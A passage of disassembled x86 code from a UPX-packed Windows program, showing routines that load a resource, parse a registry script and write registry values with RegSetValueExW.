		call	dword_41D1CC	; RtlEnterCriticalSection
		call	off_42A000
		and	dword ptr [ebp+8], 0
		push	dword ptr [ebp+10h]
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+0Ch]
		add	esi, 4
		push	esi
		call	sub_4075D2
		push	edi
		mov	esi, eax
		call	dword_41D204	; RtlLeaveCriticalSection
		neg	esi
		sbb	esi, esi
		and	esi, 7FF8FFF2h
		add	esi, 8007000Eh
		mov	eax, esi
		jmp	short loc_4078A3
; ---------------------------------------------------------------------------


loc_40789E:				; CODE XREF: sub_40783F+10j
					; sub_40783F+16j
		mov	eax, 80070057h


loc_4078A3:				; CODE XREF: sub_40783F+5Dj
		call	sub_40C50C
		retn	0Ch
sub_40783F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=408h


sub_4078AB	proc near		; CODE XREF: sub_4089CE+1D2p
					; sub_408BAA+1B8p

var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_414		= dword	ptr -414h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		sub	esp, 404h
		lea	ebp, [esp-4]
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+408h+var_4], eax
		push	1Ch
		mov	eax, offset loc_41C690
		call	sub_40C4A0
		mov	eax, [ebp+414h]
		mov	edi, ecx
		mov	ebx, edx
		mov	[ebp+408h+var_41C], eax
		call	off_42A000
		xor	esi, esi
		mov	[ebp+408h+var_430], esi
		mov	eax, [ebp+410h]
		mov	[ebp+408h+var_40C], esi
		mov	[ebp+408h+var_428], eax
		mov	[ebp+408h+var_42C], esi
		mov	[ebp+408h+var_408], esi
		push	2
		push	esi
		push	edi
		mov	byte ptr [ebp+408h+var_40C], 1
		call	dword_41D068	; LoadLibraryExW
		mov	[ebp+408h+var_420], eax
		cmp	eax, esi
		jnz	short loc_40791A
		call	sub_40119F
		mov	esi, eax
		jmp	loc_407A15
; ---------------------------------------------------------------------------


loc_40791A:				; CODE XREF: sub_4078AB+61j
		push	[ebp+408h+var_41C]
		push	ebx
		push	eax
		call	dword_41D108	; FindResourceW
		mov	edi, eax
		cmp	edi, esi
		jnz	short loc_407935


loc_40792B:				; CODE XREF: sub_4078AB+99j
					; sub_4078AB+13Fj
		call	sub_40119F
		jmp	loc_407A0A
; ---------------------------------------------------------------------------


loc_407935:				; CODE XREF: sub_4078AB+7Ej
		push	edi
		push	[ebp+408h+var_420]
		call	dword_41D060	; LoadResource
		mov	[ebp+408h+var_424], eax
		cmp	eax, esi
		jz	short loc_40792B
		push	edi
		push	[ebp+408h+var_420]
		call	dword_41D088	; SizeofResource
		mov	edi, eax
		lea	eax, [edi+1]
		mov	[ebp+408h+var_41C], edi
		cmp	eax, edi
		jnb	short loc_407976
		lea	eax, [ebp+408h+var_404]
		cmp	[ebp+408h+var_408], eax
		jz	short loc_40796C
		lea	eax, [ebp+408h+var_408]
		call	sub_40A2EA


loc_40796C:				; CODE XREF: sub_4078AB+B7j
		mov	eax, 8007000Eh
		jmp	loc_407A27
; ---------------------------------------------------------------------------


loc_407976:				; CODE XREF: sub_4078AB+AFj
		push	2
		pop	ecx
		mul	ecx
		mov	byte ptr [ebp+408h+var_40C], 2
		cmp	edx, esi
		ja	short loc_407988
		cmp	eax, 0FFFFFFFFh
		jbe	short loc_407992


loc_407988:				; CODE XREF: sub_4078AB+D6j
		push	80070057h
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_407992:				; CODE XREF: sub_4078AB+DBj
		cmp	eax, 400h
		jbe	short loc_4079B9
		push	eax
		lea	eax, [ebp+408h+var_408]
		push	eax
		call	sub_40A495
		jmp	short loc_4079BF
; ---------------------------------------------------------------------------


loc_4079A5:				; DATA XREF: UPX0:00427B44o
		mov	[ebp+408h+var_40C], 1
		mov	eax, offset loc_4079B2
		retn
; ---------------------------------------------------------------------------


loc_4079B2:				; DATA XREF: sub_4078AB+101o
		mov	edi, [ebp+408h+var_41C]
		xor	esi, esi
		jmp	short loc_4079C6
; ---------------------------------------------------------------------------


loc_4079B9:				; CODE XREF: sub_4078AB+ECj
		lea	eax, [ebp+408h+var_404]
		mov	[ebp+408h+var_408], eax


loc_4079BF:				; CODE XREF: sub_4078AB+F8j
		mov	[ebp+408h+var_40C], 1


loc_4079C6:				; CODE XREF: sub_4078AB+10Cj
		mov	ebx, [ebp+408h+var_408]
		cmp	ebx, esi
		jnz	short loc_4079D4
		mov	esi, 8007000Eh
		jmp	short loc_407A0C
; ---------------------------------------------------------------------------


loc_4079D4:				; CODE XREF: sub_4078AB+120j
		call	off_42A000
		push	edi
		push	ebx
		push	edi
		push	[ebp+408h+var_424]
		push	esi
		push	eax
		call	dword_41D1F4	; MultiByteToWideChar
		cmp	eax, esi
		jz	loc_40792B
		mov	edx, [ebp+408h+var_408]
		push	dword ptr [ebp+418h]
		xor	ecx, ecx
		mov	[edx+eax*2], cx
		mov	ecx, [ebp+408h+var_408]
		lea	edx, [ebp+408h+var_42C]
		call	sub_408297


loc_407A0A:				; CODE XREF: sub_4078AB+85j
		mov	esi, eax


loc_407A0C:				; CODE XREF: sub_4078AB+127j
		push	[ebp+408h+var_420]
		call	dword_41D05C	; FreeLibrary


loc_407A15:				; CODE XREF: sub_4078AB+6Aj
		lea	eax, [ebp+408h+var_404]
		cmp	[ebp+408h+var_408], eax
		jz	short loc_407A25
		lea	eax, [ebp+408h+var_408]
		call	sub_40A2EA


loc_407A25:				; CODE XREF: sub_4078AB+170j
		mov	eax, esi


loc_407A27:				; CODE XREF: sub_4078AB+C6j
		mov	ecx, [ebp+408h+var_414]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+408h+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		add	ebp, 408h
		leave
		retn	0Ch
sub_4078AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A4C	proc near		; CODE XREF: sub_4077EF+Ap
					; DATA XREF: UPX0:00424BECo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+10h]
		push	edi
		call	dword_41D1CC	; RtlEnterCriticalSection
		lea	eax, [esi+4]
		call	sub_4076FC
		push	edi
		mov	esi, eax
		call	dword_41D204	; RtlLeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_407A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A74	proc near		; CODE XREF: sub_4080FF+118p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, eax
		push	edi
		lea	ebx, [esi+10h]
		push	ebx
		call	dword_41D1CC	; RtlEnterCriticalSection
		add	esi, 4
		xor	edi, edi
		cmp	[esi+8], edi
		jle	short loc_407AA7


loc_407A8D:				; CODE XREF: sub_407A74+31j
		mov	eax, [esi]
		push	[esp+0Ch+arg_0]
		mov	eax, [eax+edi*4]
		push	eax
		call	dword_41D0A0	; lstrcmpiW
		test	eax, eax
		jz	short loc_407AB3
		inc	edi
		cmp	edi, [esi+8]
		jl	short loc_407A8D


loc_407AA7:				; CODE XREF: sub_407A74+17j
		or	eax, 0FFFFFFFFh


loc_407AAA:				; CODE XREF: sub_407A74+41j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407AB7
		xor	esi, esi
		jmp	short loc_407AC0
; ---------------------------------------------------------------------------


loc_407AB3:				; CODE XREF: sub_407A74+2Bj
		mov	eax, edi
		jmp	short loc_407AAA
; ---------------------------------------------------------------------------


loc_407AB7:				; CODE XREF: sub_407A74+39j
		mov	ecx, esi
		call	sub_40A246
		mov	esi, [eax]


loc_407AC0:				; CODE XREF: sub_407A74+3Dj
		push	ebx
		call	dword_41D204	; RtlLeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_407A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_407ACF	proc near		; CODE XREF: sub_407CD3+7Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	byte ptr dword_42F108, 1
		jnz	short loc_407B2D
		or	dword_42F108, 1
		push	8
		pop	eax
		mov	word_42F0EC, ax
		mov	eax, 4008h
		push	13h
		mov	word_42F0F4, ax
		pop	eax
		push	11h
		mov	word_42F0FC, ax
		pop	eax
		mov	dword_42F0E8, offset dword_41EF48
		mov	dword_42F0F0, offset dword_41EF50
		mov	dword_42F0F8, offset dword_41EF58
		mov	dword_42F100, offset dword_41EF60
		mov	word_42F104, ax


loc_407B2D:				; CODE XREF: sub_407ACF+7j
		push	esi
		xor	esi, esi


loc_407B30:				; CODE XREF: sub_407ACF+7Aj
		push	dword_42F0E8[esi*8]
		push	[esp+8+arg_0]
		call	dword_41D0A0	; lstrcmpiW
		test	eax, eax
		jz	short loc_407B4F
		inc	esi
		cmp	esi, 4
		jb	short loc_407B30
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407B4F:				; CODE XREF: sub_407ACF+74j
		mov	ax, word_42F0EC[esi*8]
		mov	ecx, [esp+4+arg_4]
		mov	[ecx], ax
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_407ACF	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B63	proc near		; CODE XREF: sub_4080FF+E3p
					; sub_4083DE+D1p ...

arg_0		= word ptr  4

		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_407B7A
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407B6C:				; CODE XREF: sub_407B63+1Dj
		cmp	cx, [esp+4+arg_0]
		jz	short loc_407B84
		push	eax
		call	dword_41D31C	; CharNextW


loc_407B7A:				; CODE XREF: sub_407B63+5j
		movzx	ecx, word ptr [eax]
		test	cx, cx
		jnz	short loc_407B6C
		jmp	short loc_407B86
; ---------------------------------------------------------------------------


loc_407B84:				; CODE XREF: sub_407B63+Ej
		mov	esi, eax


loc_407B86:				; CODE XREF: sub_407B63+1Fj
		mov	eax, esi
		pop	esi
		retn
sub_407B63	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B8A	proc near		; CODE XREF: sub_407B8A+22j
					; sub_407BAF+Bp ...
		mov	eax, [esi]
		movzx	ecx, word ptr [eax]
		cmp	ecx, 9
		jl	short locret_407BAE
		cmp	ecx, 0Ah
		jle	short loc_407BA3
		cmp	ecx, 0Dh
		jz	short loc_407BA3
		cmp	ecx, 20h
		jnz	short locret_407BAE


loc_407BA3:				; CODE XREF: sub_407B8A+Dj
					; sub_407B8A+12j
		push	eax
		call	dword_41D31C	; CharNextW
		mov	[esi], eax
		jmp	short sub_407B8A
; ---------------------------------------------------------------------------

locret_407BAE:				; CODE XREF: sub_407B8A+8j
					; sub_407B8A+17j
		retn
sub_407B8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BAF	proc near		; CODE XREF: sub_407CD3+67p
					; sub_407CD3+A1p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		call	sub_407B8A
		mov	eax, [esi]
		movzx	ecx, word ptr [eax]
		xor	edx, edx
		cmp	dx, cx
		jnz	short loc_407BD5
		mov	eax, 80020009h
		jmp	loc_407CC8
; ---------------------------------------------------------------------------


loc_407BD5:				; CODE XREF: sub_407BAF+1Aj
		push	edi
		push	27h
		pop	edx
		mov	[ebp+var_8], ebx
		cmp	dx, cx
		jnz	loc_407C6D
		mov	edi, dword_41D31C
		push	eax
		call	edi ; dword_41D31C
		mov	[esi], eax
		jmp	short loc_407C50
; ---------------------------------------------------------------------------


loc_407BF2:				; CODE XREF: sub_407BAF+A6j
		mov	eax, [esi]
		push	27h
		pop	ecx
		cmp	cx, [eax]
		jnz	short loc_407C07
		push	eax
		call	edi ; dword_41D31C
		push	27h
		pop	ecx
		cmp	cx, [eax]
		jnz	short loc_407C57


loc_407C07:				; CODE XREF: sub_407BAF+4Bj
		mov	eax, [esi]
		push	27h
		pop	ecx
		cmp	cx, [eax]
		jnz	short loc_407C16
		push	eax
		call	edi ; dword_41D31C
		mov	[esi], eax


loc_407C16:				; CODE XREF: sub_407BAF+60j
		mov	eax, [esi]
		push	eax
		mov	[ebp+var_4], eax
		call	edi ; dword_41D31C
		mov	edx, [ebp+var_8]
		mov	[esi], eax
		sub	eax, [ebp+var_4]
		add	edx, 2000h
		sar	eax, 1
		lea	ecx, [ebx+eax*2+2]
		cmp	ecx, edx
		jnb	loc_407CCC
		test	eax, eax
		jle	short loc_407C4E
		mov	ecx, [ebp+var_4]


loc_407C41:				; CODE XREF: sub_407BAF+9Dj
		mov	dx, [ecx]
		mov	[ebx], dx
		inc	ebx
		inc	ebx
		inc	ecx
		inc	ecx
		dec	eax
		jnz	short loc_407C41


loc_407C4E:				; CODE XREF: sub_407BAF+8Dj
		mov	eax, [esi]


loc_407C50:				; CODE XREF: sub_407BAF+41j
		xor	ecx, ecx
		cmp	cx, [eax]
		jnz	short loc_407BF2


loc_407C57:				; CODE XREF: sub_407BAF+56j
		mov	eax, [esi]
		xor	ecx, ecx
		cmp	cx, [eax]
		jz	short loc_407CCC
		xor	eax, eax
		mov	[ebx], ax
		push	dword ptr [esi]
		call	edi ; dword_41D31C
		mov	[esi], eax
		jmp	short loc_407CC5
; ---------------------------------------------------------------------------


loc_407C6D:				; CODE XREF: sub_407BAF+30j
					; sub_407BAF+10Fj
		mov	eax, [esi]
		movzx	ecx, word ptr [eax]
		cmp	ecx, 9
		jl	short loc_407C86
		cmp	ecx, 0Ah
		jle	short loc_407CC0
		cmp	ecx, 0Dh
		jz	short loc_407CC0
		cmp	ecx, 20h
		jz	short loc_407CC0


loc_407C86:				; CODE XREF: sub_407BAF+C6j
		push	eax
		mov	edi, eax
		call	dword_41D31C	; CharNextW
		mov	edx, [ebp+var_8]
		mov	[esi], eax
		sub	eax, edi
		sar	eax, 1
		lea	ecx, [ebx+eax*2+2]
		add	edx, 2000h
		cmp	ecx, edx
		jnb	short loc_407CCC
		test	eax, eax
		jle	short loc_407CB7


loc_407CAA:				; CODE XREF: sub_407BAF+106j
		mov	cx, [edi]
		mov	[ebx], cx
		inc	ebx
		inc	ebx
		inc	edi
		inc	edi
		dec	eax
		jnz	short loc_407CAA


loc_407CB7:				; CODE XREF: sub_407BAF+F9j
		mov	eax, [esi]
		xor	ecx, ecx
		cmp	cx, [eax]
		jnz	short loc_407C6D


loc_407CC0:				; CODE XREF: sub_407BAF+CBj
					; sub_407BAF+D0j ...
		xor	eax, eax
		mov	[ebx], ax


loc_407CC5:				; CODE XREF: sub_407BAF+BCj
		xor	eax, eax


loc_407CC7:				; CODE XREF: sub_407BAF+122j
		pop	edi


loc_407CC8:				; CODE XREF: sub_407BAF+21j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407CCC:				; CODE XREF: sub_407BAF+85j
					; sub_407BAF+AFj ...
		mov	eax, 80020009h
		jmp	short loc_407CC7
sub_407BAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2108h


sub_407CD3	proc near		; CODE XREF: sub_4083DE+218p
					; sub_4083DE+3A8p

var_2130	= dword	ptr -2130h
var_212C	= dword	ptr -212Ch
var_2128	= dword	ptr -2128h
var_2124	= dword	ptr -2124h
var_2120	= dword	ptr -2120h
var_211C	= dword	ptr -211Ch
var_2118	= dword	ptr -2118h
var_2114	= dword	ptr -2114h
var_210C	= dword	ptr -210Ch
var_2108	= dword	ptr -2108h
var_2104	= byte ptr -2104h
var_2004	= word ptr -2004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-2108h]
		mov	eax, 2108h
		call	sub_40E000
		push	0FFFFFFFFh
		push	offset loc_41C2B2
		mov	eax, large fs:0
		push	eax
		sub	esp, 1Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+2108h+var_4], eax
		push	ebx
		push	esi
		push	edi
		push	eax
		lea	eax, [ebp+2108h+var_2114]
		mov	large fs:0, eax
		mov	[ebp+2108h+var_2118], esp
		mov	eax, [ebp+2108h+arg_0]
		mov	[ebp+2108h+var_2124], eax
		mov	eax, [ebp+2108h+arg_4]
		mov	esi, ecx
		mov	edi, edx
		mov	[ebp+2108h+var_2130], eax
		xor	ebx, ebx
		lea	eax, [ebp+2108h+var_2004]
		mov	[ebp+2108h+var_2128], esi
		mov	[ebp+2108h+var_2120], edi
		mov	[ebp+2108h+var_211C], ebx
		call	sub_407BAF
		cmp	eax, ebx
		jl	loc_408014
		lea	eax, [ebp+2108h+var_211C]
		push	eax
		lea	eax, [ebp+2108h+var_2004]
		push	eax
		call	sub_407ACF
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407D67
		mov	eax, 80020009h
		jmp	loc_408014
; ---------------------------------------------------------------------------


loc_407D67:				; CODE XREF: sub_407CD3+88j
		call	sub_407B8A
		lea	eax, [ebp+2108h+var_2004]
		mov	ecx, esi
		call	sub_407BAF
		cmp	eax, ebx
		jl	loc_408014
		movzx	eax, word ptr [ebp+2108h+var_211C]
		sub	eax, 8
		jz	loc_407FCD
		sub	eax, 9
		jz	loc_407EAC
		dec	eax
		dec	eax
		jz	loc_407E80
		sub	eax, 3FF5h
		jnz	loc_408003
		lea	eax, [ebp+2108h+var_2004]
		push	eax
		call	dword_41D1F0	; lstrlenW
		inc	eax
		inc	eax
		mov	[ebp+2108h+var_2108], ebx
		push	2
		pop	ecx
		mul	ecx
		mov	[ebp+2108h+var_210C], ebx
		mov	byte ptr [ebp+2108h+var_210C], 1
		cmp	edx, ebx
		ja	short loc_407DD1
		cmp	eax, 0FFFFFFFFh
		jbe	short loc_407DDB


loc_407DD1:				; CODE XREF: sub_407CD3+F7j
					; sub_407CD3+213j ...
		push	80070057h
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_407DDB:				; CODE XREF: sub_407CD3+FCj
		cmp	eax, 100h
		jbe	short loc_407DF8
		push	eax
		lea	eax, [ebp+2108h+var_2108]
		push	eax
		call	sub_40A495
		jmp	short loc_407DFE
; ---------------------------------------------------------------------------


loc_407DEE:				; DATA XREF: UPX0:00427454o
		mov	eax, offset loc_407DF4
		retn
; ---------------------------------------------------------------------------


loc_407DF4:				; DATA XREF: sub_407CD3:loc_407DEEo
		xor	ebx, ebx
		jmp	short loc_407DFE
; ---------------------------------------------------------------------------


loc_407DF8:				; CODE XREF: sub_407CD3+10Dj
		lea	eax, [ebp+2108h+var_2104]
		mov	[ebp+2108h+var_2108], eax


loc_407DFE:				; CODE XREF: sub_407CD3+119j
					; sub_407CD3+123j
		mov	esi, [ebp+2108h+var_2108]
		cmp	esi, ebx
		jz	short loc_407E64
		lea	edi, [ebp+2108h+var_2004]
		cmp	[ebp+2108h+var_2004], bx
		jz	short loc_407E49
		mov	ebx, dword_41D31C


loc_407E1A:				; CODE XREF: sub_407CD3+172j
		push	edi
		call	ebx ; dword_41D31C
		movzx	ecx, word ptr [edi]
		cmp	cx, 5Ch
		jnz	short loc_407E3A
		cmp	word ptr [eax],	30h
		jnz	short loc_407E3A
		xor	ecx, ecx
		mov	[esi], cx
		inc	esi
		push	eax
		inc	esi
		call	ebx ; dword_41D31C
		mov	edi, eax
		jmp	short loc_407E41
; ---------------------------------------------------------------------------


loc_407E3A:				; CODE XREF: sub_407CD3+151j
					; sub_407CD3+157j
		mov	[esi], cx
		inc	esi
		inc	esi
		inc	edi
		inc	edi


loc_407E41:				; CODE XREF: sub_407CD3+165j
		cmp	word ptr [edi],	0
		jnz	short loc_407E1A
		xor	ebx, ebx


loc_407E49:				; CODE XREF: sub_407CD3+13Fj
		xor	eax, eax
		mov	[esi], ax
		mov	[esi+2], ax
		push	[ebp+2108h+var_2108]
		push	[ebp+2108h+var_2124]
		push	[ebp+2108h+var_2120]
		call	sub_407430
		mov	esi, eax
		jmp	short loc_407E67
; ---------------------------------------------------------------------------


loc_407E64:				; CODE XREF: sub_407CD3+130j
		push	0Eh
		pop	esi


loc_407E67:				; CODE XREF: sub_407CD3+18Fj
		lea	eax, [ebp+2108h+var_2104]
		cmp	[ebp+2108h+var_2108], eax
		jz	loc_407FF6
		lea	eax, [ebp+2108h+var_2108]
		call	sub_40A2EA
		jmp	loc_407FF6
; ---------------------------------------------------------------------------


loc_407E80:				; CODE XREF: sub_407CD3+C6j
		call	off_42A000
		lea	eax, [ebp+2108h+var_2120]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+2108h+var_2004]
		push	eax
		call	dword_41D22C
		mov	eax, [ebp+2108h+var_2120]
		mov	[ebp+2108h+var_211C], eax
		push	4
		lea	eax, [ebp+2108h+var_211C]
		push	eax
		push	4
		jmp	loc_407FE8
; ---------------------------------------------------------------------------


loc_407EAC:				; CODE XREF: sub_407CD3+BEj
		lea	eax, [ebp+2108h+var_2004]
		push	eax
		call	dword_41D1F0	; lstrlenW
		mov	[ebp+2108h+var_211C], eax
		test	al, 1
		jz	short loc_407ECA


loc_407EC0:				; CODE XREF: sub_407CD3+253j
					; sub_407CD3+25Dj
		mov	eax, 80004005h
		jmp	loc_408014
; ---------------------------------------------------------------------------


loc_407ECA:				; CODE XREF: sub_407CD3+1EBj
		cdq
		sub	eax, edx
		mov	edi, eax
		sar	edi, 1
		mov	[ebp+2108h+var_212C], edi
		mov	[ebp+2108h+var_2108], ebx
		xor	eax, eax
		mov	[ebp+2108h+var_210C], 3
		mov	byte ptr [ebp+2108h+var_210C], 4
		cmp	eax, ebx
		ja	loc_407DD1
		cmp	edi, 0FFFFFFFFh
		ja	loc_407DD1
		cmp	edi, 100h
		jbe	short loc_407F16
		push	edi
		lea	eax, [ebp+2108h+var_2108]
		push	eax
		call	sub_40A495
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F09:				; DATA XREF: UPX0:00427464o
		mov	eax, offset loc_407F0F
		retn
; ---------------------------------------------------------------------------


loc_407F0F:				; DATA XREF: sub_407CD3:loc_407F09o
		mov	edi, [ebp+2108h+var_212C]
		xor	ebx, ebx
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F16:				; CODE XREF: sub_407CD3+228j
		lea	eax, [ebp+2108h+var_2104]
		mov	[ebp+2108h+var_2108], eax


loc_407F1C:				; CODE XREF: sub_407CD3+234j
					; sub_407CD3+241j
		cmp	[ebp+2108h+var_2108], ebx
		jnz	short loc_407F32
		lea	eax, [ebp+2108h+var_2104]
		test	eax, eax
		jz	short loc_407EC0
		lea	eax, [ebp+2108h+var_2108]
		call	sub_40A2EA
		jmp	short loc_407EC0
; ---------------------------------------------------------------------------


loc_407F32:				; CODE XREF: sub_407CD3+24Cj
		push	edi
		push	ebx
		push	[ebp+2108h+var_2108]
		call	sub_40BD40
		add	esp, 0Ch
		xor	esi, esi
		cmp	[ebp+2108h+var_211C], ebx
		jle	short loc_407FA3


loc_407F46:				; CODE XREF: sub_407CD3+2CCj
		movzx	ecx, [ebp+esi*2+2108h+var_2004]
		mov	eax, esi
		cdq
		sub	eax, edx
		sar	eax, 1
		add	eax, [ebp+2108h+var_2108]
		movzx	edx, cx
		cmp	edx, 30h
		jl	short loc_407F88
		cmp	edx, 39h
		jle	short loc_407F81
		cmp	edx, 40h
		jle	short loc_407F88
		cmp	edx, 46h
		jle	short loc_407F7C
		add	edx, 0FFFFFF9Fh
		cmp	edx, 5
		ja	short loc_407F88
		sub	cl, 57h
		jmp	short loc_407F84
; ---------------------------------------------------------------------------


loc_407F7C:				; CODE XREF: sub_407CD3+29Aj
		sub	cl, 37h
		jmp	short loc_407F84
; ---------------------------------------------------------------------------


loc_407F81:				; CODE XREF: sub_407CD3+290j
		sub	cl, 30h


loc_407F84:				; CODE XREF: sub_407CD3+2A7j
					; sub_407CD3+2ACj
		mov	dl, cl
		jmp	short loc_407F8A
; ---------------------------------------------------------------------------


loc_407F88:				; CODE XREF: sub_407CD3+28Bj
					; sub_407CD3+295j ...
		xor	dl, dl


loc_407F8A:				; CODE XREF: sub_407CD3+2B3j
		mov	ebx, esi
		and	ebx, 1
		shl	ebx, 2
		push	4
		pop	ecx
		sub	ecx, ebx
		shl	dl, cl
		or	[eax], dl
		inc	esi
		cmp	esi, [ebp+2108h+var_211C]
		jl	short loc_407F46
		xor	ebx, ebx


loc_407FA3:				; CODE XREF: sub_407CD3+271j
		mov	eax, [ebp+2108h+var_2120]
		mov	eax, [eax]
		push	edi
		push	[ebp+2108h+var_2108]
		push	3
		push	ebx
		push	[ebp+2108h+var_2124]
		push	eax
		call	dword_41D018	; RegSetValueExW
		mov	esi, eax
		lea	eax, [ebp+2108h+var_2104]
		cmp	[ebp+2108h+var_2108], eax
		jz	short loc_407FF6
		lea	eax, [ebp+2108h+var_2108]
		call	sub_40A2EA
		jmp	short loc_407FF6
; ---------------------------------------------------------------------------


loc_407FCD:				; CODE XREF: sub_407CD3+B5j
		lea	eax, [ebp+2108h+var_2004]
		push	eax
		call	dword_41D1F0	; lstrlenW
		lea	eax, [eax+eax+2]
		push	eax
		lea	eax, [ebp+2108h+var_2004]
		push	eax
		push	1


loc_407FE8:				; CODE XREF: sub_407CD3+1D4j
		push	ebx
		push	[ebp+2108h+var_2124]
		push	dword ptr [edi]
		call	dword_41D018	; RegSetValueExW
		mov	esi, eax


loc_407FF6:				; CODE XREF: sub_407CD3+19Aj
					; sub_407CD3+1A8j ...
		cmp	esi, ebx
		jz	short loc_408003
		mov	eax, esi
		call	sub_4072B2
		jmp	short loc_408014
; ---------------------------------------------------------------------------


loc_408003:				; CODE XREF: sub_407CD3+D1j
					; sub_407CD3+325j
		mov	eax, [ebp+2108h+var_2130]
		mov	ecx, [ebp+2108h+var_2128]
		call	sub_407BAF
		cmp	eax, ebx
		jl	short loc_408014
		xor	eax, eax


loc_408014:				; CODE XREF: sub_407CD3+6Ej
					; sub_407CD3+8Fj ...
		mov	ecx, [ebp+2108h+var_2114]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+2108h+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		add	ebp, 2108h
		leave
		retn	8
sub_407CD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_408039	proc near		; CODE XREF: sub_4083DE+E0p
					; sub_4083DE+503p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset off_423C6C


loc_40803F:				; CODE XREF: sub_408039+1Fj
		push	dword ptr [esi]
		push	[esp+8+arg_0]
		call	dword_41D0A0	; lstrcmpiW
		test	eax, eax
		jz	short loc_408061
		add	esi, 4
		cmp	esi, offset a32770 ; "#32770"
		jl	short loc_40803F
		xor	eax, eax
		inc	eax


loc_40805D:				; CODE XREF: sub_408039+2Aj
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_408061:				; CODE XREF: sub_408039+14j
		xor	eax, eax
		jmp	short loc_40805D
sub_408039	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408065	proc near		; CODE XREF: sub_4083DE+4F5p
					; sub_4083DE+532p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	dword_41D004	; RegQueryInfoKeyW
		test	eax, eax
		jz	short loc_40808D
		xor	eax, eax
		jmp	short locret_408096
; ---------------------------------------------------------------------------


loc_40808D:				; CODE XREF: sub_408065+22j
		xor	eax, eax
		cmp	eax, [ebp+var_4]
		sbb	eax, eax
		neg	eax

locret_408096:				; CODE XREF: sub_408065+26j
		leave
		retn	4
sub_408065	endp


; =============== S U B	R O U T	I N E =======================================



sub_40809A	proc near		; CODE XREF: sub_4083DE+118p
					; sub_4083DE+291p ...

arg_1FFC	= dword	ptr  2000h

		mov	eax, 2004h
		call	sub_40E000
		mov	eax, dword_42A034
		xor	eax, esp
		mov	[esp+arg_1FFC],	eax
		cmp	word ptr [edi],	3Dh
		push	esi
		mov	esi, ecx
		jnz	short loc_4080E7
		mov	eax, edi
		call	sub_407BAF
		test	eax, eax
		jl	short loc_4080E9
		call	sub_407B8A
		lea	eax, [esp+4]
		mov	ecx, esi
		call	sub_407BAF
		test	eax, eax
		jl	short loc_4080E9
		mov	eax, edi
		mov	ecx, esi
		call	sub_407BAF
		test	eax, eax
		jl	short loc_4080E9


loc_4080E7:				; CODE XREF: sub_40809A+1Fj
		xor	eax, eax


loc_4080E9:				; CODE XREF: sub_40809A+2Aj
					; sub_40809A+3Ej ...
		mov	ecx, [esp+4+arg_1FFC]
		pop	esi
		xor	ecx, esp
		call	sub_40AC1C
		add	esp, 2004h
		retn
sub_40809A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4080FF	proc near		; CODE XREF: sub_408297+2Cp
		push	60h
		mov	eax, offset loc_41C65B
		call	sub_40C4D6
		mov	esi, ecx
		mov	edi, edx
		mov	[ebp-64h], edi
		test	esi, esi
		jz	loc_40828C
		test	edi, edi
		jz	loc_40828C
		and	dword ptr [edi], 0
		push	esi
		call	dword_41D1F0	; lstrlenW
		add	eax, eax
		cmp	eax, 64h
		jge	short loc_408138
		mov	eax, 3E8h


loc_408138:				; CODE XREF: sub_4080FF+32j
		and	dword ptr [ebp-60h], 0
		push	2
